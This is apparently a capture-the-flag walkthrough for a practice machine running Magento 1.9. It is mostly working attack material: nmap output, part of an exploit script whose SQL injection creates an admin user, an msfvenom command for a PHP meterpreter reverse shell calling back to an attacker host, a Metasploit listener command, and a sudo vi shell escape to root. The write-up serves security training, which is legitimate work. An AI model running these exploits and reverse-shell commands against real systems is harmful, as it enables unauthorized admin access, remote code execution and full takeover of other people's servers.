# Nmap 7.70 scan initiated Mon May 13 14:25:23 2019 as: nmap -v -A -T4 -sV -sC -oA scan 10.10.10.140 Nmap scan report for 10.10.10.140 Host is up (0.11s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA) | 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA) |_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: 88733EE53676A47FC354A61C32516E82 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Home page No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.70%E=4%D=5/13%OT=22%CT=1%CU=41268%PV=Y%DS=2%DC=T%G=Y%TM=5CD9624 OS:F%P=x86_64-unknown-linux-gnu)SEQ(SP=105%GCD=1%ISR=104%TI=Z%CI=I%II=I%TS= OS:8)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M5 OS:4DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=712 OS:0)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S OS:+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q= OS:)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A% OS:A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y% OS:DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T= OS:40%CD=S)
Uptime guess: 155.343 days (since Sun Dec 9 05:12:13 2018) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=261 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
So we have only two ports open 80 (http) and 22 (ssh). Let’s find out what’s in the webserver.
Oh, the webserver is using Magento as CMS, and we can see that the version is from 2014 in the bottom of the page. Magento is a CMS for building e-commerce and like other CMS has ton of vulnerabilities. A quick searchsploit shows us that there are many exploits available for Magento :
The Magento version is 1.9.0.0 or 1.9.0.1. For this version there’s an exploit available that creates an admin user with credentials forme:forme. However we have to edit it a little to make it works. We need to change the target from target + "/admin/Cms_Wysiwyg/directive/index/" to target + "/index.php/admin/Cms_Wysiwyg/directive/index/".
q=""" SET @SALT = 'rp'; SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT )); SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL; INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW()); INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname'); """
# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}} r = requests.post(target_url, data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ", "filter": base64.b64encode(pfilter), "forwarded": 1}) if r.ok: print"WORKED" print"Check {0}/admin with creds forme:forme".format(target) else: print"DID NOT WORK"
Now we can login on the dashboard http://10.10.10.140/index.php/admin/ with username : forme and password : forme.
We can now use the same credentials to login to http://10.10.10.140/downloader/
From this panel we can manage the extensions and packages of Magento. One package that could lead to an RCE is magpleasure_filesystem. With this package we can edit the webpages of the web server in /var/www/html and put in one of the pages (NOT index.php) a php reverse shell. We need to download the package and upload it in the Direct package file upload, then we can refresh the page http://10.10.10.140/index.php/admin/ and see that under the tab system there’s a package called Filesystem. We need now to create a reverse shell and we’re gonna use msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=9999 -f raw > shell.php. The next thing to do is to put the code of the reverse shell on one of the pages of the webserver using Filesystem (I personally chose to put it in the install.php page).
To start the listener we can use : msfconsole -x "use exploit/multi/handler; set LHOST 10.10.X.X; set LPORT 9999; set payload php/meterpreter/reverse_tcp; run -j".
Then from the browser or directly from the terminal using wget or curl we have to do a GET request to http://10.10.10.140/install.php and we’re gonna receive a reverse shell in the listener :D .
Oh yes. Now we have pwned the user.
Pwn Root
To pwn the root we need to upload lse to see which programs can be exploited to gain a privilege escalation path.
And we can instantly see that we can check which sudo command can be used without password.
The /usr/bin/vi program can be used with sudo without password, however the normal syntax to achieve a root shell is not working. The problem is that we need to specify the full file’s path that we want to read. Using /usr/bin/vi /var/www/html/cron.sh -c '!sh' we can pwn the root shell.